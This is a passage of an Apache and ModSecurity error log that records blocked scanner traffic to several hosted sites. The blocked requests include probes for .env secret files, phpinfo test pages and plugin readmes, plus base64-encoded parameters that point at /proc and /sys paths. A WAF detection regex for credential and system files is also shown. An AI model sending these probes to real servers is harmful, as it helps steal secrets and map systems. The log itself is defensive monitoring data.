[security2:error] [pid 646876:tid 647046] [client 185.177.72.9:14766] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test_phpinfo4.php"] [unique_id "ai3zXtyTkdrNlD40tSG2LQAAACY"] [Sat Jun 13 18:18:38.675900 2026] [access_compat:error] [pid 648189:tid 648292] [remote 57.141.14.86:46054] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:38.676242 2026] [access_compat:error] [pid 648189:tid 648292] [remote 57.141.14.86:46054] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:38.805035 2026] [security2:error] [pid 648189:tid 648247] [remote 57.141.14.102:38221] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 102.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3zXlWSojQL4F7upKBxMQAAsRo"], referer: https://nelsonfarmstn.com/product-category/specials/?add_to_wishlist=5323&_wpnonce=dacad5c21f&add-to-cart=3820 [Sat Jun 13 18:18:38.827543 2026] [access_compat:error] [pid 646876:tid 646894] [remote 57.141.14.110:64658] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:38.828005 2026] [access_compat:error] [pid 646876:tid 646894] [remote 57.141.14.110:64658] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:38.899962 2026] [security2:error] [pid 648189:tid 648248] [remote 17.241.75.205:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 205.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zXlWSojQL4F7upKBxNAAAlRs"] [Sat Jun 13 18:18:38.913975 2026] [security2:error] [pid 648189:tid 648316] [remote 17.22.253.105:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 105.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zXlWSojQL4F7upKBxNgAAv14"] [Sat Jun 13 18:18:38.917400 2026] [security2:error] [pid 648189:tid 648474] [client 184.154.76.34:59258] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "casanoelectric.com"] [uri "/wp-content/plugins/woocommerce/readme.txt"] [unique_id "ai3zXlWSojQL4F7upKBxOAAAAPg"] [Sat Jun 13 18:18:38.917560 2026] [security2:error] [pid 648189:tid 648474] [client 184.154.76.34:59258] ModSecurity: Warning. Matched phrase "SiteLockSpider" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "casanoelectric.com"] [uri "/wp-content/plugins/woocommerce/readme.txt"] [unique_id "ai3zXlWSojQL4F7upKBxOAAAAPg"] [Sat Jun 13 18:18:38.928492 2026] [access_compat:error] [pid 648189:tid 648279] [remote 216.73.216.223:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:38.928950 2026] [access_compat:error] [pid 648189:tid 648279] [remote 216.73.216.223:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:38.935664 2026] [security2:error] [pid 646876:tid 647111] [client 185.177.72.9:14768] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test_phpinfo5.php"] [unique_id "ai3zXtyTkdrNlD40tSG2NQAAAGc"] [Sat Jun 13 18:18:39.052599 2026] [access_compat:error] [pid 646876:tid 646972] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:18:39.053119 2026] [access_compat:error] [pid 646876:tid 646972] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:18:39.112785 2026] [security2:error] [pid 648189:tid 648485] [client 184.154.76.34:50168] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "casanoelectric.com"] [uri "/wp-content/plugins/jetpack/readme.txt"] [unique_id "ai3zX1WSojQL4F7upKBxQgAAAQM"] [Sat Jun 13 18:18:39.112973 2026] [security2:error] [pid 648189:tid 648485] [client 184.154.76.34:50168] ModSecurity: Warning. Matched phrase "SiteLockSpider" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "casanoelectric.com"] [uri "/wp-content/plugins/jetpack/readme.txt"] [unique_id "ai3zX1WSojQL4F7upKBxQgAAAQM"] [Sat Jun 13 18:18:39.171027 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.19:46302] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:39.171474 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.19:46302] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:39.208274 2026] [security2:error] [pid 648189:tid 648473] [client 185.177.72.9:14784] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/tester.php"] [unique_id "ai3zX1WSojQL4F7upKBxRQAAAPc"] [Sat Jun 13 18:18:39.232673 2026] [access_compat:error] [pid 646876:tid 646978] [remote 57.141.14.39:47696] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:39.233104 2026] [access_compat:error] [pid 646876:tid 646978] [remote 57.141.14.39:47696] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:39.260634 2026] [access_compat:error] [pid 648189:tid 648301] [remote 74.7.242.16:43520] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:18:39.261089 2026] [access_compat:error] [pid 648189:tid 648301] [remote 74.7.242.16:43520] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:18:39.380878 2026] [access_compat:error] [pid 648189:tid 648251] [remote 57.141.14.95:60951] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:39.381323 2026] [access_compat:error] [pid 648189:tid 648251] [remote 57.141.14.95:60951] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:39.477049 2026] [security2:error] [pid 648189:tid 648353] [client 185.177.72.9:14792] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/testfiles/.env"] [unique_id "ai3zX1WSojQL4F7upKBxVQAAAIU"] [Sat Jun 13 18:18:39.493720 2026] [security2:error] [pid 646876:tid 646969] [remote 17.246.19.14:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 14.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zX9yTkdrNlD40tSG2SwAAXFo"] [Sat Jun 13 18:18:39.582073 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:18:39.582498 2026] [access_compat:error] [pid 646876:tid 646890] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:18:39.609564 2026] [security2:error] [pid 648189:tid 648479] [client 185.177.72.9:14792] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/testing.php"] [unique_id "ai3zX1WSojQL4F7upKBxXAAAAP0"] [Sat Jun 13 18:18:39.613166 2026] [security2:error] [pid 648189:tid 648259] [remote 17.241.227.152:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 152.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zX1WSojQL4F7upKBxXQAAuiU"] [Sat Jun 13 18:18:39.978004 2026] [access_compat:error] [pid 646876:tid 646986] [remote 57.141.14.82:25064] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:39.978451 2026] [access_compat:error] [pid 646876:tid 646986] [remote 57.141.14.82:25064] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:39.980567 2026] [access_compat:error] [pid 646876:tid 646908] [remote 57.141.14.21:47315] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:39.981020 2026] [access_compat:error] [pid 646876:tid 646908] [remote 57.141.14.21:47315] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:40.001025 2026] [access_compat:error] [pid 648189:tid 648297] [remote 57.141.14.96:21093] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:40.001616 2026] [access_compat:error] [pid 648189:tid 648297] [remote 57.141.14.96:21093] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:40.036839 2026] [security2:error] [pid 646876:tid 647054] [client 185.177.72.9:14808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/testing/.env"] [unique_id "ai3zYNyTkdrNlD40tSG2WgAAAC4"] [Sat Jun 13 18:18:40.057463 2026] [access_compat:error] [pid 646876:tid 646998] [remote 57.141.14.72:61417] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:40.057938 2026] [access_compat:error] [pid 646876:tid 646998] [remote 57.141.14.72:61417] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:40.116964 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:18:40.117407 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:18:40.174002 2026] [security2:error] [pid 646876:tid 647123] [client 185.177.72.9:14808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/testing/docker/.env"] [unique_id "ai3zYNyTkdrNlD40tSG2XgAAAHM"] [Sat Jun 13 18:18:40.311945 2026] [security2:error] [pid 646876:tid 647073] [client 185.177.72.9:14808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/tests/.env"] [unique_id "ai3zYNyTkdrNlD40tSG2YQAAAEE"] [Sat Jun 13 18:18:40.448434 2026] [security2:error] [pid 646876:tid 647120] [client 185.177.72.9:14808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Tests/Application/.env"] [unique_id "ai3zYNyTkdrNlD40tSG2YwAAAHA"] [Sat Jun 13 18:18:40.585245 2026] [security2:error] [pid 646876:tid 647111] [client 185.177.72.9:14808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/tests/default_settings/v10.0/.env"] [unique_id "ai3zYNyTkdrNlD40tSG2ZgAAAGc"] [Sat Jun 13 18:18:40.635163 2026] [access_compat:error] [pid 646876:tid 646896] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9ldmVudDQvc3Vic3lzdGVtL2lucHV0MA== [Sat Jun 13 18:18:40.635591 2026] [access_compat:error] [pid 646876:tid 646896] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9ldmVudDQvc3Vic3lzdGVtL2lucHV0MA== [Sat Jun 13 18:18:40.721367 2026] [security2:error] [pid 648189:tid 648314] [remote 17.241.227.65:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 65.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zYFWSojQL4F7upKBxfAAA_1w"] [Sat Jun 13 18:18:40.723119 2026] [security2:error] [pid 646876:tid 647043] [client 185.177.72.9:14808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/tests/default_settings/v11.0/.env"] [unique_id "ai3zYNyTkdrNlD40tSG2aAAAACM"] [Sat Jun 13 18:18:40.757410 2026] [security2:error] [pid 646876:tid 646944] [remote 17.22.253.168:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 168.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zYNyTkdrNlD40tSG2agAAQkE"] [Sat Jun 13 18:18:40.860369 2026] [security2:error] [pid 646876:tid 647110] [client 185.177.72.9:14808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/tests/default_settings/v12.0/.env"] [unique_id "ai3zYNyTkdrNlD40tSG2bAAAAGY"] [Sat Jun 13 18:18:40.999842 2026] [security2:error] [pid 646876:tid 647124] [client 185.177.72.9:14808] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/tests/default_settings/v13.0/.env"] [unique_id 